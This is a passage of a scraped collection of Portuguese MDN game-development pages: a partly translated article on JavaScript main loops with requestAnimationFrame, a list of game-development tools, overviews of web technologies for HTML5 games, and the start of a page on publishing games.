toques), eles **interpretam** as entradas como um sucesso, falha, pausa, interação com o menu, etc., finalmente, eles **calculam** uma cena atualizada resultante dessas entradas. O ciclo do jogo é avançado pelas entradas do usuário e pela esperas até que ele as forneça. Isso é mais aproximado de um *jogo* *baseado em turnos* onde não há demanda de uma constante atualização a cada frame, somente quando o jogador reaje.\n\nOutros jogos demandam controle sobre cada um dos menores intervalos de tempo possíveis. Os mesmos princípios acima aplicam-se com uma pequena diferença: cada frame de animação avança o ciclo e cada mudança na entrada do usuário é capturada no primeiro turno disponível. Este modelo *uma vez por frame* é implementado em algo chamado **loop principal.** Se o seu jogo é baseado em tempo, então essa será a autoridade a qual as suas simulações irão obedecer.\n\nMas o jogo pode não precisar de controle por frame. Seu game loop pode ser similar ao exemplo *encontre as diferenças* e basear-se em eventos de entrada. Ele pode requerer ambos, entrada e tempo simulado. Ele pode até mesmo ter um ciclo baseado em algo totalmente diferente.\n\nJavaScript Moderno — como descrito nas próximas seções — felizmente, facilita o desenvolvimento de um loop principal \"execute uma vez por frame\". É claro, seu jogo será somente tão otimizado quando o fizer. Se parece que algo deveria estar ligado a um evento menos frequente, seria uma boa ideia implementá-lo fora do loop principal (mas não sempre).\n\nContruindo um loop principal em JavaScript\n------------------------------------------\n\nJavaScript trabalaha melhor com eventos e chamadas de funções. Navegadores modernos esforçam-se para chamar métodos à medida que são necessários e ociosos (ou fazem suas outras tarefas) nos intervalos. É uma excelente ideia ligar seu código aos momentos apropriados a eles. Pense se a sua função realmente precisa ser chamada em um estrito intervalo de tempo, a cada frame, ou somente após algo acontecer. Ser mais específico com o navegador sobre quando a sua função precisa ser chamada permite que o navegador otimize essa chamada. Também, isso facilitará o seu trabalho.\n\nAlguns códigos precisam ser rodados frame por frame, então por quê ligar essas funções a qualquer coisa que não seja a atualização de tela do navegador? Na web, `window.requestAnimationFrame()` será a base da maioria dos mais bem programados loops principais do tipo frame por frame. Uma chamada de função deve ser passada dentro da função anterior quando a mesma for chamada. Esta chamdada de função será executada em um tempo adequado antes da próxima atualização de tela. Eis um exemplo de um loop principal simples:\n```\n\nwindow.main = function () {\n  window.requestAnimationFrame( main );\n\n  // Whatever your main loop needs to do.\n};\n\nmain(); //Start the cycle.\n```\n\n\n**Nota**: Em cada método do `main()` discutido aqui, nós agendamos uma nova requisição `requestAnimationFrame` antes de executar o conteúdo de nosso loop. Isso não é por acidente, e é considerado boa prática. Chamando o próximo `requestAnimationFrame` anteriormente garante que o navegador receba a chamada a tempo de planejar adequadamente, mesmo que seu frame atual falhe em sua (?VSync window?).\n\nO trecho de código acima possui duas declarações. A primeira cria uma função como uma variável global chamada `main()`. Esta função faz algum trabalho e também diz ao navegador para camá-la na próxima frame com `window.requestAnimationFrame()`. A segunda declaração chama a função `main()`, definida na primeira declaração. Pelo fato do `main()` ser chamado uma vez na segunda declaração e cada chamada dele colocá-lo na lista de coisas a fazer na próxima frame, `main()` é sincronizado com a sua taxa de frame.\n\nÉ claro que esse loop não é perfeito. Antes de discutirmos maneiras de mudá-lo, deixe-nos discutir o que já está bem.\n\nCronometrando o loop principal para quando o navegador atualiza a tela o permite rodar o seu loop tão frequentemente quanto o navegador queira atualizar. Você tem controle sobre cada frame de animação. Isso é muito simples por que `main()` é a única função em loop. Um jogo de primeira pessoa (ou um jogo similar) apresenta uma nova cena a cada frame. Você realmente não pode ser mais suave e receptivo do que isso.\n\nMas não assuma imediatamente que animações requerem controle frame por frame. Animações simples podem ser facilmente desenvolvidas até mesmo com aceleração-GPU, com animações CSS e com outras ferramentas inclusas no navegador. Existem muitas delas que farão sua vida mais fácil.\n\nConstruindo um loop principal *melhor* em Javascript\n----------------------------------------------------\n\nExistem dois problemas óbvios com nosso loop principal anterior: `main()` polui o objeto ``window`` (onde todas as variáveis globais são armazenadas) e o código de exemplo não nos permite *parar* o loop a menos que toda a aba seja fechada ou atualizada. Para o primeiro problema, se você quer que o loop principal apenas rode sem precisar de fácil acesso (direto) a ele, você pode criá-lo como uma Função Diretamente Invocada (Immediately-Invoked Function Expression - IIFE).\n```\n\n/*\n* Starting with the semicolon is in case whatever line of code above this example\n* relied on automatic semicolon insertion (ASI). The browser could accidentally\n* think this whole example continues from the previous line. The leading semicolon\n* marks the beginning of our new line if the previous one was not empty or terminated.\n*/\n\n;(function () {\n  function main() {\n    window.requestAnimationFrame( main );\n\n    // Your main loop contents.\n  }\n\n  main(); // Start the cycle\n})();\n```\n\n\nQuando o browser alcançar este IIFE, ele irá definir o seu próprio loop principal e imediatamente agenda-o para para o próximo frame. Ele não será anexado a nenhum objeto e `main` (ou `main()` para métodos) será um nome válido sem uso no resto da aplicação, livre para ser definido como outra coisa.\n\nNota: Na prática, é mais comum previnir o próximo `requestAnimationFrame()` com uma declaração `if`, no lugar de chamar `cancelAnimationFrame()`.\n\nPara o próximo problema, parando o loop principal, você precisará cancelar a chamada a `main()` com `window.cancelAnimationFrame()`. Você precisará passar para `cancelAnimationFrame()` o token do ID dado pelo `requestAnimationFrame()` quando ele foi chamado. Vamos assumir que as funções do seu jogo e variáveis estão construídas em um namespace que você chamou de `MyGame`. Expandindo o nosso último exemplo, o loop principal ficaria parecido com isto:\n```\n\n/*\n* Starting with the semicolon is in case whatever line of code above this example\n* relied on automatic semicolon insertion (ASI). The browser could accidentally\n* think this whole example continues from the previous line. The leading semicolon\n* marks the beginning of our new line if the previous one was not empty or terminated.\n*\n* Let us also assume that MyGame is previously defined.\n*/\n\n;(function () {\n  function main() {\n    MyGame.stopMain = window.requestAnimationFrame( main );\n\n    // Your main loop contents.\n  }\n\n  main(); // Start the cycle\n})();\n```\n\n\nNós temos agora uma variável declarada no namespace do nosso `MyGame`, que nos chamamos de `stopMain`, e que contém o ID retornado pela execução mais recente do `requestAnimationFrame()` do nosso loop principal. Em algum ponto, nós podemos parar o loop principal pedindo ao browser para cancelar a requisição que corresponde ao nosso token.\n```\n\nwindow.cancelAnimationFrame( MyGame.stopMain );\n```\n\n\nA chave para programar loop principal, no JavaScript, é anexá-lo a qualquer evento que deve estar dirigindo sua ação e prestar atenção a como os diferentes sistemas envolvidos interagem entre si. Você poderá ter multiplos componentes dirigidos por multiplos diferentes tipos de eventos. Isto parece complexidade desnecessária mas pode ser só uma boa otimização (não necessária, é claro). O problema é que você não está programando um loop principal típico. No JavaScript, você está usando o loop principal do browser e está tentando fazê-lo efetivamente.\n\nConstruindo um loop principal mais *otimizado* no JavaScript\n------------------------------------------------------------\n\nFinalmente, no JavaScript, o browser está rodando o seu loop principal e o seu código existe em algum de seus estágios. As seções acima descrevem loops principais que tentam não eliminar o controle do navegador. Esses métodos principais anexam eles mesmos ao `window.requestAnimationFrame()`, que pergunta ao browser por controle sobre o próximo frame. É responsabilidade do browser saber como relacionar esses requests ao loop principal. A especificação da W3C para o requestAnimationFrame não define realmente quando os browsers tem que executar os callbacks do requestAnimationFrame. Isto pode ser uma vantagem por que os fornecedores de browsers podem ter a liberdade de experimentar com as soluções que sintam que seja melhor e podem modifica-la com o passar do tempo.\n\nVersões modernas do Firefox e Google Chrome (e provavelmente outros) tentam conectar os callbacks do `requestAnimationFramea` a sua thread principal no primeiro intervalo de tempo de um frame. A thread principal portanto tenta fazer o seguinte:\n\n1. Começar uma nova frame (enquanto a anterior é tratada pela exibição).\n2. Go through the list of `requestAnimationFrame` callbacks and invoke them.\n3. Perform garbage collection and other per-frame tasks when the above callbacks stop controlling the main thread.\n4. Sleep (unless an event interrupts the browser's nap) until the monitor is ready for your image (VSync) and repeat.\n\nModern versions of Firefox and Google Chrome (and probably others) *attempt* to connect `requestAnimationFrame` callbacks to their main thread at the very beginning of a frame's timeslice. The browser's main thread thus *tries* to look like the following:\n\n1. Start a new frame (while the previous frame is handled by the display).\n2. Go through the list of `requestAnimationFrame` callbacks and invoke them.\n3. Perform garbage collection and other per-frame tasks when the above callbacks stop controlling the main thread.\n4. Sleep (unless an event interrupts the browser's nap) until the monitor is ready for your image (VSync) and repeat.\n\nYou can think about developing realtime applications as having a budget of time to do work. All of the above steps must take place every 16-and-a-half milliseconds to keep up with a 60 Hz display. Browsers invoke your code as early as possible to give it maximum computation time. Your main thread will often start workloads that are not even on the main thread (such as rasterization or shaders in WebGL). Long calculations can be performed on a Web Worker or a GPU at the same time as the browser uses its main thread to manage garbage collection, its other tasks, or handle asynchronous events.\n\nWhile we are on the topic of budgeting time, many web browsers have a tool called *High Resolution Time*. The `Date` object is no longer the recognised method for timing events because it is very imprecise and can be modified by the system clock. High Resolution Time, on the other hand, counts the number of milliseconds since `navigationStart` (when the previous document is unloaded). This value is returned as a decimal number accurate to a thousandth of a millisecond. It is known as a ``DOMHighResTimeStamp` (en-US)` but, for all intents and purposes, consider it a floating point number.\n\n**Note**: Systems (hardware or software) that are not capable of microsecond accuracy are allowed to provide millisecond accuracy as a minimum. They should provide 0.001ms accuracy if they are capable of it, however.\n\nThis value is not too useful alone, since it is relative to a fairly uninteresting event, but it can be subtracted from another timestamp to accurately and precisely determine how much time elapsed between those two points. To acquire one of these timestamps, you can call `window.performance.now()` and store the result as a variable.\n```\n\nvar tNow = window.performance.now();\n```\n\n\nBack to the topic of the main loop. You will often want to know when your main function was invoked. Because this is common, `window.requestAnimationFrame()` always provides a `DOMHighResTimeStamp` to callbacks as an argument when they are executed. This leads to another enhancement to our previous main loops.\n```\n\n/*\n* Starting with the semicolon is in case whatever line of code above this example\n* relied on automatic semicolon insertion (ASI). The browser could accidentally\n* think this whole example continues from the previous line. The leading semicolon\n* marks the beginning of our new line if the previous one was not empty or terminated.\n*\n* Let us also assume that MyGame is previously defined.\n*/\n\n;(function () {\n  function main( tFrame ) {\n    MyGame.stopMain = window.requestAnimationFrame( main );\n\n    // Your main loop contents.\n    // tFrame, from \"function main ( tFrame )\", is now a DOMHighResTimeStamp provided by rAF.\n  }\n\n  main(); // Start the cycle\n})();\n```\n\n\nSeveral other optimizations are possible and it really depends on what your game attempts to accomplish. Your game genre will obviously make a difference but it could even be more subtle than that. You could draw every pixel individually on a canvas or you could layer DOM elements (including multiple WebGL canvases with transparent backgrounds if you want) into a complex hierarchy. Each of these paths will lead to different opportunities and constraints.\n\nIt is decision... time\n----------------------\n\nYou will need to make hard decisions about your main loop: how to simulate the accurate progress of time. If you demand per-frame control then you will need to determine how frequently your game will update and draw. You might even want update and draw to occur at different rates. You will also need to consider how gracefully your game will fail if the user's system cannot keep up with the workload. Let us start by assuming that you will handle user input and update the game state every time you draw. We will branch out later.\n\n***Note**:* Changing how your main loop deals with time is a debugging nightmare, everywhere. Think about your needs, carefully, before working on your main loop.\n\n### What most browser games should look like\n\nIf your game can hit the maximum refresh rate of any hardware you support then your job is fairly easy. You can simply update, render, and then do nothing until VSync.\n```\n\n/*\n* Starting with the semicolon is in case whatever line of code above this example\n* relied on automatic semicolon insertion (ASI). The browser could accidentally\n* think this whole example continues from the previous line. The leading semicolon\n* marks the beginning of our new line if the previous one was not empty or terminated.\n*\n* Let us also assume that MyGame is previously defined.\n*/\n\n;(function () {\n  function main( tFrame ) {\n    MyGame.stopMain = window.requestAnimationFrame( main );\n\n    update( tFrame ); //Call your update method. In our case, we give it rAF's timestamp.\n    render();\n  }\n\n  main(); // Start the cycle\n})();\n```\n\n\nIf the maximum refresh rate cannot be reached, quality settings could be adjusted to stay under your time budget. The most famous example of this concept is the game from id Software, RAGE. This game removed control from the user in order to keep its calculation time at roughly 16ms (or roughly 60fps). If computation took too long then rendered resolution would decrease, textures and other assets would fail to load or draw, and so forth. This (non-web) case study made a few assumptions and tradeoffs:\n\n* Each frame of animation accounts for user input.\n* No frame needs to be extrapolated (guessed) because each draw has its own update.\n* Simulation systems can basically assume that each full update is ~16ms apart.\n* Giving the user control over quality settings would be a nightmare.\n* Different monitors input at different rates: 30 FPS, 75 FPS, 100 FPS, 120 FPS, 144 FPS, etc.\n* Systems that are unable to keep up with 60 FPS lose visual quality to keep the game running at optimal speed (eventually it outright fails, if quality becomes too low.)\n### Other ways to handle variable refresh rate needs\n\nOther methods of tackling the problem exist.\n\nOne common technique is to update the simulation at a constant frequency and then draw as much (or as little) of the actual frames as possible. The update method can continue looping without care about what the user sees. The draw method can view the last update and when it happened. Since draw knows when it represents, and the simulation time for the last update, it can predict a plausible frame to draw for the user. It does not matter whether this is more frequent than the official update loop (or even less frequent). The update method sets checkpoints and, as frequently as the system allows, the render method draws instants of time around them. There are many ways to separate the update method in web standards:\n\n* Draw on `requestAnimationFrame` and update on a `window.setInterval` (en-US) or `window.setTimeout` (en-US).\n    + This uses processor time even when unfocused or minimized, hogs the main thread, and is probably an artifact of traditional game loops (but it is simple.)\n* Draw on `requestAnimationFrame` and update on a `setInterval` or `setTimeout` in a Web Worker (en-US).\n    + This is the same as above, except update does not hog the main thread (nor does the main thread hog it). This is a more complex solution, and might be too much overhead for simple updates.\n* Draw on `requestAnimationFrame` and use it to poke a Web Worker containing the update method with the number of ticks to compute, if any.\n    + This sleeps until `requestAnimationFrame` is called and does not pollute the main thread, plus you are not relying on old fashioned methods. Again, this is a bit more complex than the previous two options, and *starting* each update will be blocked until the browser decides to fire rAF callbacks.\n\nEach of these methods have similar tradeoffs:\n\n* Users can skip rendering frames or interpolate extra ones depending on their performance.\n* You can count on all users updating non-cosmetic variables at the same constant frequency minus hiccups.\n* Much more complicated to program than the basic loops we saw earlier.\n* User input is completely ignored until the next update (even if the user has a fast device).\n* The mandatory interpolation has a performance penalty.\n\nA separate update and draw method could look like the following example. For the sake of demonstration, the example is based on the third bullet point, just without using Web Workers for readability (and, let's be honest, writeability).\n\n*Note: This example, specifically, is in need of technical review.*\n```\n\n/*\n* Starting with the semicolon is in case whatever line of code above this example\n* relied on automatic semicolon insertion (ASI). The browser could accidentally\n* think this whole example continues from the previous line. The leading semicolon\n* marks the beginning of our new line if the previous one was not empty or terminated.\n*\n* Let us also assume that MyGame is previously defined.\n*\n* MyGame.lastRender keeps track of the last provided requestAnimationFrame timestamp.\n* MyGame.lastTick keeps track of the last update time. Always increments by tickLength.\n* MyGame.tickLength is how frequently the game state updates. It is 20 Hz (50ms) here.\n*\n* timeSinceTick is the time between requestAnimationFrame callback and last update.\n* numTicks is how many updates should have happened between these two rendered frames.\n*\n* render() is passed tFrame because it is assumed that the render method will calculate\n*          how long it has been since the most recently passed update tick for\n*          extrapolation (purely cosmetic for fast devices). It draws the scene.\n*\n* update() calculates the game state as of a given point in time. It should always\n*          increment by tickLength. It is the authority for game state. It is passed\n*          the DOMHighResTimeStamp for the time it represents (which, again, is always\n*          last update + MyGame.tickLength unless a pause feature is added, etc.)\n*\n* setInitialState() Performs whatever tasks are leftover before the mainloop must run.\n*                   It is just a generic example function that you might have added.\n*/\n\n;(function () {\n  function main( tFrame ) {\n    MyGame.stopMain = window.requestAnimationFrame( main );\n    var nextTick = MyGame.lastTick + MyGame.tickLength;\n    var numTicks = 0;\n\n    //If tFrame < nextTick then 0 ticks need to be updated (0 is default for numTicks).\n    //If tFrame = nextTick then 1 tick needs to be updated (and so forth).\n    //Note: As we mention in summary, you should keep track of how large numTicks is.\n    //If it is large, then either your game was asleep, or the machine cannot keep up.\n    if (tFrame > nextTick) {\n      var timeSinceTick = tFrame - MyGame.lastTick;\n      numTicks = Math.floor( timeSinceTick / MyGame.tickLength );\n    }\n\n    queueUpdates( numTicks );\n    render( tFrame );\n    MyGame.lastRender = tFrame;\n  }\n\n  function queueUpdates( numTicks ) {\n    for(var i=0; i < numTicks; i++) {\n      MyGame.lastTick = MyGame.lastTick + MyGame.tickLength; //Now lastTick is this tick.\n      update( MyGame.lastTick );\n    }\n  }\n\n  MyGame.lastTick = performance.now();\n  MyGame.lastRender = MyGame.lastTick; //Pretend the first draw was on first update.\n  MyGame.tickLength = 50; //This sets your simulation to run at 20Hz (50ms)\n\n  setInitialState();\n  main(performance.now()); // Start the cycle\n})();\n```\n\n\nAnother alternative is to simply do certain things less often. If a portion of your update loop is difficult to compute but insensitive to time, you might consider scaling back its frequency and, ideally, spreading it out into chunks throughout that lengthened period. An implicit example of this is found over at The Artillery Blog for Artillery Games, where they adjust their rate of garbage generation to optimize garbage collection. Obviously, cleaning up resources is not time sensitive (especially if tidying is more disruptive than the garbage itself).\n\nThis may also apply to some of your own tasks. Those are good candidates to throttle when available resources become a concern.\n\nSummary\n-------\n\nI want to be clear that any of the above, or none of them, could be best for your game. The correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this but I have heard it is an excruciating game of Whack-a-Mole.\n\nAn important thing to remember for managed platforms, like the web, is that your loop may stop execution for significant periods of time. This could occur when the user unselects your tab and the browser sleeps (or slows) its `requestAnimationFrame` callback interval. You have many ways to deal with this situation and this could depend on whether your game is single player or multiplayer. Some choices are:\n\n* Consider the gap \"a pause\" and skip the time.\n    + You can probably see how this is problematic for most multiplayer games.\n* You can simulate the gap to catch up.\n    + This can be a problem for long drops and/or complex updates.\n* You can recover the game state from a peer or the server.\n    + This is ineffective if your peers or server are out-of-date too, or they don't exist because the game is single player and doesn't have a server.\n\nOnce your main loop has been developed and you have decided on a set of assumptions and tradeoffs which suit your game, it is now just a matter of using your decisions to calculate any applicable physics, AI, sounds, network synchronization, and whatever else your game may require."}
{"title":"Ferramentas para o desenvolvimento de jogos - Desenvolvimento de jogos","text":"Ferramentas para o desenvolvimento de jogos\n===========================================\n\nNesta página você pode encontrar links para a nossa ferramenta de desenvolvimento de jogos, artigos, os quais eventualmente abrangem frameworks, compiladores, e ferramentas de debug.\n\nasm.js\n\nAsm.js é um subconjunto muito limitado da linguagem JavaScript, que pode ser muito otimizado e executado em ahead-of-time (AOT) como motor de compilação para um desempenho muito mais rápido do que o seu desempenho JavaScript típico. Isto é, naturalmente, ótimo para jogos.\n\nEmscripten\n\nUm compilador LLVM para JavaScript; com Emscripten, você pode compilar C++ e outras linguagens que podem compilar para bytecode LLVM em JavaScript de alto desempenho.Esta é uma ótima ferramenta para portar aplicativos para a Web! Há um tutorial útil de Emscripten disponível na wiki. Note que estamos cobrir o Emscripten em sua própria seção de MDN.\n\nGecko profiler\n\nThe Gecko profiler extension lets you profile your code to help figure out where your performance issues are so that you can make your game run at top speed\n\nA extensão Gecko profiler permite que você recorte seu código para ajudar a descobrir onde seus problemas de desempenho de modo a poder fazer o seu jogo executar em alta velocidade.\n\nMotores de jogos e ferramentas\n\nUma lista de engines, templates e tecnologias úteis pare desenvolvedores de jogos.\n\nShumway\n\nO Shumway é um renderizador para o Adobe Flash construído inteiramente em JavaScript, WebGL, etc., reduzindo a diferença entre os padrões do Flash e da web. Este artigo mostra como fazer uso do Shumway e como contribuir correções e bugs para o projeto.\n\nToolchain for developing and debugging games\n\nComo isso difere da depuração normal de aplicativos da web? Que ferramentas especializadas estão disponíveis? Um monte disso está sendo coberto pelo Will em ferramentas, mas aqui nós devemos fornecer um tipo de tutorial de prática para jogos de depuração toolchain, com links para coisas do Will:\n\n* Visão geral de ferramentas básicas\n* Editor de shader\n* Ferramentas de performance (ainda en produção, estimada no início de 2014)"}
{"title":"Introduction to HTML5 Game Development (summary) - Desenvolvimento de jogos","text":"Introduction to HTML5 Game Development (summary)\n================================================\n\nVantagens\n---------\n\n1. Os Jogos criados com HTML5 funcionam em Smartphones, tablets, PCs e smart TVs.\n2. Anuncie e promova seu jogo na Web, bem como em outros meios de comunicação.\n3. Pagamentos. Carregue o que quiser e use o serviço de processamento de pagamento que desejar.\n4. Atualize seu jogo sempre que quiser.\n5. Colete suas próprias análises.\n6. Conecte-se com seus clientes mais de perto.\n7. Usuários podem jogar sempre que quiserem e quando quiserem.\nTecnologias da Web\n------------------\n\n| **Function** | **Tecnologias** |\n| --- | --- |\n| **Audio** | Web Audio API (en-US) |\n| **Gráficos** | WebGL (OpenGL ES 2.0) |\n| **Entrada** | Touch events (en-US), Gamepad API (en-US), sensores de dispositivos, WebRTC (en-US), Full Screen API (en-US), Pointer Lock API (en-US) |\n| **Linguagens** | JavaScript (ou C/C++ usando Emscripten para compilar o JavaScript) |\n| **Networking** | WebRTC (en-US) e/ou WebSockets |\n| **Armazenamento** | IndexedDB ou a \"nuvem\" |\n| **Web** | HTML, CSS, SVG, Social API (e muito mais!) |\n\nFull Screen API (en-US)\n\ngameplay de tela cheia\n\nGamepad API (en-US)\n\nUse gamepads ou outros controladores de jogos.\n\nHTML e CSS\n\nContrua, estilize e disponha a interface de usuário do seu jogo.\n\nHTML audio\n\nReproduza facilmente efeitos sonoros simples e música.\n\nIndexedDB\n\nArmazene os dados de usuário em seu próprio computador ou dispositivo.\n\nJavaScript\n\nLinguagem de programação web rápida para escrever o código do seu jogo, para portar facilmente seus jogos existentes Emscripten ou Asm.js.\n\nPointer Lock API (en-US)\n\nBloquei o mouse ou outro dispositivo apontador na interface do seu jogo.\n\nSVG (Gráficos Vetorias Escaláveis)\n\nCrie gráficos vetoriais que sejam dimensionados sem problemas, independemente do tamanho ou da resolução da exibição do usuário.\n\nTyped Arrays (en-US)\n\nAcessar dados binários brutos de dentro do JavaScript; Manipule texturas GL, dados de jogos ou qualquer outra coisa.\n\nWeb Audio API (en-US)\n\nControle a reprodução, síntese e manipulação de aúdio em tempo real.\n\nWebGL\n\nCrie gráficos 2D e 3D acelerados por hardware de alto desempenho. OpenGL ES 2.0.\n\nWebRTC (en-US)\n\nComunicações em tempo real para controlar dados de aúdio e vídeo, incluindo teleconferência e transmissão de outros dados de aplicativos entre dois usuários, como bate-papo.\n\nWebSockets\n\nConecte seu aplicativo ou site a um servidor para transmitir dados em tempo real. Perfeito para ação de jogo multiplayer, serviços de bate-papo e assim por diante.\n\nWeb Workers (en-US)\n\nCrie threads em segundo plano executando seu próprio código JavaScript para processadres multi-core.\n\nXMLHttpRequest e File API\n\nEnvie e receba quaisquer tipo de dados que você quiser de um servidor da Web, como baixar novos níveis de jogos e ilustrações para transmitir informações de status de jogos não em tempo real."}
{"title":"Introdução ao desenvolvimento de jogos para a Web - Desenvolvimento de jogos","text":"Introdução ao desenvolvimento de jogos para a Web\n=================================================\n\nA web moderna rapidamente tem se tornado uma plataforma não só para criar jogos esplêndidos de alta qualidade, mas também para a distribuição desses mesmos jogos.\n\nA gama de jogos que podem ser criados é compatível com as partes equivalentes de Desktop e contrapartes nativas de SO. Com modernas tecnologias da Web e um navegador recente, é perfeitamente possível fazer jogos impressionantes e de primeira qualidade para a Web. E não estamos falando de jogos de cartas simples ou de jogos sociais multijogadores que, nos tempos antigos, foram feitos usando Flash®. Estamos falando de FPS de ação 3D, RPGs e mais. Graças às melhorias de desempenho macias em tecnologia de compilação just-in-time de JavaScript e novas APIs, você pode construir jogos que são executados no navegador (ou em dispositivos com HTML5 como aqueles baseados no sistema operacional Firefox) sem compromissos.\n\nA plataforma de jogo HTML5\n--------------------------\n\nVocê pode realmente pensar na Web como uma melhor plataforma de destino para o seu jogo. Como gostamos de dizer , \"A Web é a plataforma\". Vamos dar uma olhada no núcleo da plataforma da Web:\n\n| Função | Tecnologia |\n| --- | --- |\n| **Audio** | Web Audio API |\n| **Gráficos** | WebGL (OpenGL ES 2.0) |\n| **Entrada (Input)** | Touch events, Gamepad API (en-US), device sensors, WebRTC (en-US), Full Screen API (en-US), Pointer Lock API (en-US) |\n| **Linguagem** | JavaScript (ou C/C++ usando Emscripten para compilar para JavaScript) |\n| **Rede** | WebRTC (en-US) e/ou WebSockets |\n| **Armazenamento** | IndexedDB ou o \"cloud\" |\n| **Web** | HTML, CSS, SVG, Social API (e muito mais!) |\n\nO caso de negócios\n------------------\n\nComo desenvolvedor de jogos, seja individual ou um grande estúdio de jogos, você quer saber por que faz sentido ter como alvo a Web com o seu próximo projeto de jogo. Vejamos como a Web pode ajudá-lo.\n\n1. O alcance da Web é enorme; Está em toda parte. Jogos criados com HTML5 em smartphones, tablets, PCs e Smart TVs.\n2. O marketing e a descoberta são melhorados. Você não está limitado a promover o seu aplicativo na loja de aplicativos de outra pessoa. Em vez disso, você pode anunciar e promover o seu jogo em toda a Web, bem como outros meios de comunicação, aproveitando a capacidade de compartilhamento inerente e compartilhamento da Web para alcançar novos clientes.\n3. Você tem controle onde isso importa: Pagamentos. Você não precisa entregar mais de 30% de suas receitas para outra pessoa apenas porque seu jogo está em seu ecossistema. Em vez disso, carregue o que deseja e use qualquer serviço de processamento de pagamento que você gosta.\n4. Novamente com mais controle, você pode atualizar seu jogo sempre que quiser. Não espera sem fôlego para aprovação, enquanto alguém escondido em outra empresa decide se a sua correção crítica de erros será ou não enviada hoje ou amanhã.\n5. Controle suas análises! Em vez de confiar em outra pessoa para tomar todas as decisões sobre o que você precisa, você pode coletar o seu próprio — ou escolha o terceiro que você gosta do melhor — para coletar informações sobre suas vendas e o alcance do seu jogo.\n6. Você consegue gerenciar seu relacionamento com o cliente de forma mais próxima, à sua maneira. Não há mais comentários do cliente filtrados através dos mecanismos limitados de uma loja de aplicativos. Participe com seus clientes da maneira que você quiser, sem intermediário.\n7. Seus jogadores podem jogar seu jogo em qualquer lugar, a qualquer hora. Como a Web é onipresente, seus clientes podem verificar o status do seu jogo em seus telefones, tablets, laptops domésticos, desktops de trabalho ou qualquer outra coisa.\nTecnologias da Web para desenvolvedores de jogos\n------------------------------------------------\n\nPara as pessoas de tecnologia, vamos cavar as APIs que a Web traz à mesa que atendem aos desenvolvedores de jogos. Aqui está uma lista completa para dar uma amostra do que a Web pode fazer por você:\n\nFull Screen API (en-US)\n\nEsta API simples permite que seu jogo ocupe toda a tela, imergindo assim o jogador em ação.\n\nGamepad API (en-US)\n\nSe você quiser que seus usuários possam usar gamepads ou outros controladores de jogos para trabalhar seu jogo, você precisará desta API.\n\nHTML e CSS\n\nJuntas, essas duas tecnologias permitem que você possa criar, estilizar e definir a interface do usuário do seu jogo. Parte do HTML é o `<canvas>` elemento, que fornece uma maneira de fazer gráficos 2D.\n\nHTML audio\n\nO `<audio>` elemento permite reproduzir facilmente efeitos sonoros e música. Se suas necessidades estão mais envolvidas, confira a API Web Áudio para obter poder real de processamento de áudio!\n\nIndexedDB\n\nUma poderosa API de armazenamento de dados para manter os dados do usuário em seu próprio computador ou dispositivo. Uma ótima maneira de salvar o estado do jogo e outras informações localmente, portanto não precisa ser baixado sempre que for necessário. Também é útil para ajudar a tornar o seu jogo jogável mesmo quando o usuário não está conectado à Web (como quando estão presos em um avião por horas a fio).\n\nJavaScript\n\nJavaScript, a linguagem de programação usada na Web, está sendo lançada rapidamente em navegadores modernos e cada vez mais rápido. Use seu poder para escrever o código do seu jogo, ou olhe para usar tecnologias como Emscripten ou Asm.js para facilmente acessar seus jogos existentes.\n\nPointer Lock API (en-US)\n\nO Pointer Lock API permite bloquear o mouse ou outro dispositivo apontador na interface do seu jogo, de modo que, em vez do posicionamento absoluto do cursor, você receba deltas de coordenadas que lhe dê medidas mais precisas sobre o que o usuário está fazendo e evite que o usuário envie acidentalmente sua entrada para outro lugar. Falta de uma ação importante.\n\nSVG (Scalable Vector Graphics)\n\nPermite criar gráficos vetoriais que se dimensionem sem problemas, independentemente do tamanho ou resolução da exibição do usuário.\n\nTyped Arrays\n\nJavaScript typed arrays da acesso a dados binários em bruto a partir do JavaScript; Isso permite manipular texturas GL, dados de jogos ou qualquer outra coisa, mesmo que não esteja em formato nativo do JavaScript.\n\nWeb Audio API\n\nEssa API para controlar a reprodução, síntese e manipulação de áudio a partir do código JavaScript, você pode criar efeitos de som incríveis, além de reproduzir e manipular música em tempo real.\n\nWebGL\n\nPermite criar 3D de alta performance, acelerado por hardware (e 2D) a partir de conteúdo da Web. Esta é uma implementação suportada pela Web de OpenGL ES 2.0.\n\nWebRTC (en-US)\n\nO WebRTC (Real-Time Communications) API Dá-lhe o poder de controlar dados de áudio e vídeo, incluindo teleconferência e transmissão de outros dados de aplicativos de um lado a outro entre dois usuários. Quer que seus jogadores possam conversar um com o outro enquanto explodem monstros? Esta é a API para você.\n\nWebSockets\n\nO WebSocket API permite conectar seu aplicativo ou site a um servidor para transmitir dados de um lado para o outro em tempo real. Perfeito para a ação de jogo multiplayer, serviços de bate-papo, e assim por diante.\n\nWeb Workers (en-US)\n\nOs trabalhadores dão-lhe a capacidade de gerar threads de fundo executando seu próprio código JavaScript, para aproveitar os modernos processadores multi-core.\n\nXMLHttpRequest e File API (en-US)\n\nA combinação de XMLHttpRequest e o File API Permite enviar e receber qualquer tipo de dados que você deseja (não deixe o \"XML\" te jogar!) de um servidor da Web. Esta é uma ótima maneira de fazer qualquer coisa, desde o download de novos níveis de jogos e obras de arte para a transmissão de informações de status do jogo não real-time para frente e para trás."}
{"title":"Publishing games - Desenvolvimento de jogos","text":"Publishing games\n================\n\nJogos em HTML5 possuem uma grande vantagem sobre jogos nativos em termos de publicação e distribuição — você possui a liberdade de distribuição, promoção e monetização do seu jogo na Web, ao invés de que cada versão ficará presa em uma única loja controlada por uma empresa. Você pode se beneficiar com a Web sendo realmenete multiplataforma. Essa série de artigos demonstra as opções que você têm quando for publicar e distribuir o se jogo, e ter algum retorno enquanto você espera para se tornar famoso.Distribuição do jogo\n--------------------\n\nEntão você realizou um (en-US) ou dois tutoriais (en-US) e desenvolveu um jogo em HTML5 - isso é ótimo! Distribuição de jogos provém tudo o que você necessita saber para poder distribuir o seu jogo recém criado para o mundo — incluindo hospedagem online, submetendo para marketplaces aberto, e submetendo para marketplaces fechados como Google Play ou iOS App Store.\n\nPromovendo o jogo\n-----------------\n\nDesenvolver e terminar um jogo não é coisa fácil. Você precisa deixar claro ao mundo que você fez uma coisa interessante estar disponível, em que as pessoas irão se divertir jogando. Existem diversas técnicas de promover os jogos (en-US) — muitos deles sendo de graça — então mesmo você passando por dificuldades e batalhando para que consiga se sustentar como um desenvolvedor indie com zero de orçamento você consegue fazer muita coisa para deixar as pessoas sabendo 